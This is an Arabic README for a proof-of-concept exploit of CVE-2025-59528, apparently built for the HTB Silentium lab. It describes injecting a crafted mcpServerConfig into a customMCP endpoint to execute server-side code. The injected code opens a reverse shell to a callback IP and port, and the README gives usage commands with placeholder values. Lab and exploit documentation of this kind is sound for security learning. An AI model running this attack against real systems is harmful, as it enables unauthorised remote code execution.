
PoC لثغرة CVE-2025-59528 المستخدمة لتحقيق تنفيذ كود عن بُعد على آلة Silentium في HTB
للاستخدام التعليمي فقط. هذا المشروع مخصص للأبحاث الأمنية الخاضعة للرقابة، والعروض التوضيحية في الفصول الدراسية، والاختبارات المصرح بها في مختبر معزول. لا تستخدمه ضد أنظمة أو شبكات أو تطبيقات أو حسابات لا تملكها أو ليس لديك إذن صريح لاختبارها.
يوضح إثبات المفهوم هذا كيف يمكن لقيمة mcpServerConfig التي لا تتم معالجتها بشكل صحيح أن تسمح بتنفيذ JavaScript من جانب الخادم وتنفيذ أوامر من خلال وظيفة تحميل العقدة customMCP.
يدعم السكريبت طريقتين للمصادقة:
Authorization.بعد المصادقة، يرسل السكريبت إعدادًا مصممًا إلى /api/v1/node-load-method/customMCP. تستخدم الحمولة وظيفة العمليات الفرعية في Node.js لتنفيذ أمر shell والاتصال مرة أخرى بمستمع يتحكم فيه الباحث. أُدرج هذا السلوك فقط لإظهار التأثير المحتمل في بيئة مختبر مصرح بها.
requests.ثبّت التبعية باستخدام:
python3 -m pip install requests
احفظ السكريبت باسم CVE-2025-59528.py.
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
مثال بقيم للتوثيق فقط:
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
مثال بقيم للتوثيق فقط:
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
يتوقع السكريبت توفر مسارات التطبيق التالية:
/api/v1/auth/login/api/v1/node-load-method/customMCPيبني السكريبت الحالي عناوين http://. حدّث التنفيذ لاستخدام HTTPS عند اختبار نشر معملي يتطلب TLS.
main() من عدد وسائط سطر الأوامر وتختار وضع المصادقة.login() البيانات المعتمدة المقدمة إلى نقطة نهاية تسجيل الدخول.tokens() قيم الجلسة من ترويسة استجابة Set-Cookie.shell() الطلب المصادق عليه وتُرسل قيمة mcpServerConfig المصممة.bearer() الطلب نفسه باستخدام رمز حامل بدلاً من ملفات تعريف الارتباط الخاصة بالجلسة.